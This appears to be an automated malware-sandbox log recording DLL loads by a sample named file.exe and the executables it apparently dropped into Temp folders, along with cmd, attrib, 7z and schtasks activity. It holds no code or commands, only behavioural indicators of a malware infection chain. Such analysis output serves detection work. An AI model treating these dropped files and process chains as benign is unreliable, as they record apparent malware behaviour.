Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: samcli.dll
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: taskschd.dll
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Section loaded: samlib.dll
Source: C:\Program Files\Windows Media Player\graph\graph.exe	Section loaded: apphelp.dll
Source: C:\Program Files\Windows Media Player\graph\graph.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Program Files\Windows Media Player\graph\graph.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\mode.com	Section loaded: ulib.dll
Source: C:\Windows\System32\mode.com	Section loaded: ureg.dll
Source: C:\Windows\System32\mode.com	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
